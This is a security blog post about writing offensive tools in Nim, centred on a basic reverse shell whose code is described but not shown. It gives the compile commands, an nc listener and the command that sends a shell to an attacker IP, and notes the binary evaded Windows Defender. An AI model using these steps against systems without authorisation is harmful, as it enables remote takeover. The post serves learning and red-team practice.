Skip to main content

Writing Basic Offensive Tooling in Nim

Introduction

I recently discovered Nim, a fairly recent programming language that has some exciting applications for writing offensive tooling. In this post, we’ll cover some of the features of Nim that make it such an appealing choice for offensive development, and then we’ll take a look at a very basic reverse shell I wrote in Nim to get a feel for the language. The goal of this post is to showcase how easy it is to get started with Nim, particularly if you’re already familiar with Python, and to hopefully pique your interest enough to encourage you to try the language out for yourself.

Some advantages of Nim

In my opinion, one of the greatest advantages Nim offers is that it’s a compiled, statically typed language with syntax that feels like a scripting language. Much of the syntax exactly matches or is very similar to Python’s; this could be an upshot or a drawback for you depending on how you feel about Python’s syntax, but as someone who writes code in Python more frequently than any other language, I felt immediately at home with Nim’s syntax. We’ll see some of the syntax later on in this post when we break down a simple Nim reverse shell.

Additionally, since Nim is an ahead-of-time compiled language, it’s probably a more sensible choice for developing C2 implants or other post-exploitation tools than Python would be. While it is possible to compile Python code to an executable using tools like PyInstaller or Py2Exe, those tools seem to have problems with setting off antivirus and using them introduces one more step into the development process.

Here’s a quick overview of a few other features that I think make Nim promising (though this list certainly isn’t comprehensive):

  • Cross-compilation support with mingw-64. Languages like Go have highlighted to me how helpful seamless cross-compilation is for offensive tool development. While I haven’t spent enough time with Nim yet to know how its cross-compilation support compares with Go’s, I had no issues quickly compiling the reverse shell covered in this post for both Windows and Linux.
  • The binaries Nim emits are fairly small, whereas the binaries emitted by Go tend to be quite large.
  • Nim offers support for calling backend code like the Windows API using its Foreign Function Interface. This seems like a particularly promising feature for anyone interested in developing post-exploitation tools for Windows in Nim.
  • I found it to be well documented as I worked through its basic tutorials and then wrote the reverse shell covered in this post.

Breaking down a simple reverse shell

After following an introductory Nim tutorial (linked later in this post) in order to learn the basics of the language, I decided I wanted to try writing a very basic tool in Nim that could potentially be used in a real engagement. Just about the simplest offensive tool I could think of was a basic reverse shell, so I decided to go with that. Rather than cover every step of the development process, I think it makes sense to take a look at the final code with some added annotation numbers to call out the interesting parts.

In a moment, we’ll step through the commentated annotation numbers (wrapped in square brackets), but it’s worth briefly discussing some general impressions. First, this code could easily be mistaken for Python from a distance. The syntax is so familiar that I found the whole development process nearly frictionless. While I worked through writing this, I found that even most of the libraries were highly similar to their Python counterparts, at least for the functionality I needed. While I don’t want to misrepresent Nim as just “Python but statically typed and compiled”, I do want to emphasize that the commonalities it has with Python were a major plus for me.

Let’s step through the annotated portions of the code (with relevant snippets reproduced):

[1]:
The libraries I used for this tool were, for the most part, analogous to the equivalent Python libraries. There were some minor differences (sleep() is a function within the “os” library in Nim, for example, whereas I’m used to using the “time” library in Python for that function), but in general it was very easy to find the libraries I was looking for. The libraries also had documentation with some useful examples.

[2]:
Parsing command-line arguments was easy. For a serious piece of software, some more validation on the input provided by the user would probably be necessary, but for a simple reverse shell that’s not relevant.

[3]:
Just like in Python, indentation is leveraged in Nim, as seen with the while loops and exception handling blocks.

[4]:
Initially I thought that sockets might be a pain point, but they’re very easy to use in Nim. Essentially you just need to create a socket by calling the newSocket() procedure (Nim’s name for what we’d call functions in other languages), and then a connection can be established with connect(). Then it’s as simple as calling send() and recvLine() to provide bidirectional communication.

In this case, the reverse shell uses socket.recvLine() to receive a shell command from the attacker. This command is then passed to execProcess(), which is similar to the os.system() or os.popen() functions in Python. The execProcess() procedure is useful in this case because it returns the output of the shell command, which can be saved to a variable and then sent back to the attacker, creating a simple interactive shell.

[5]:
Exception handling is performed with the familiar try:except: construct. In this case, I just wanted to have the shell repeatedly try to connect to the attacker if it hadn’t successfully made a connection yet.

I developed this tool on Linux, but cross-compiling from Linux to Windows is a snap. I was able to cross-compile the shell in two simple lines. This first is to install the mingw-64 package:
sudo apt install mingw-w64

And the following command cross-compiles the shell for 64-bit Windows:
nim c -d:mingw --cpu:amd64 reverse_shell.nim

That command emits our binary with the name reverse_shell.exe. If you’d prefer to compile for Linux (from a Linux host), you can run:
nim c reverse_shell.nim

Finally, let’s quickly see the shell in action. From the attacking machine (the host to which the shell should be issued), we can set up a listener on the desired port. In my case, I’m using a Linux box and want to receive the shell on port 443, so I’ll run the following command:
sudo nc -v -l 443 -n

From a Windows host with Windows Defender enabled, we can navigate to the directory containing the reverse_shell.exe binary and execute it, providing the optional IP address and port arguments to issue the shell to the attacking machine:
reverse_shell.exe 192.168.56.110 443

Executing that command shows the output we’d expect on the Windows side.

Issuing the reverse shell

At the time of this writing, Windows Defender didn’t flag this binary. On the attacking machine, we can see that the shell has been successfully received and try executing a test command.

Receiving the reverse shell and executing a command

Conclusion:

While this was a very simple introductory project, I’ve enjoyed my time with Nim enough that I’m hoping to write some more tools with it. If this small taste of the language interested you, here are some resources you may want to check out:

  • The Nim Basics tutorial was my starting point. As the name suggests, it covers the basics of the language and provides enough exercises to arm you with the knowledge to start writing simple programs. If you find that that tutorial is a little too simple for your taste, there’s also this slightly more advanced tutorial series: https://nim-lang.org/docs/tut1.html
  • If you just want to give the language a try for a few minutes without any setup, there’s this browser-based Nim Playground: https://play.nim-lang.org/
  • If you’d like to see some more advanced examples of using Nim for offensive tooling, byt3bl33d3r has an extensive collection of example tools in the following GitHub repo: https://github.com/byt3bl33d3r/OffensiveNim
  • If you don’t already have a preferred IDE, I used Visual Studio Code with the Nim extension (there appear to be two extensions by that name; the one I used is the first result in the VS Code extension list at the time of this writing and has by far the most installs)

With its combination of familiar syntax and standard library features, easy cross-compilation, and growing interest from the offensive security community, Nim is a promising language for developing offensive tooling.

Josiah Pierce

Josiah enjoys competing in Capture the Flag (CTF) competitions in his spare time and is interested in exploit development and reverse engineering.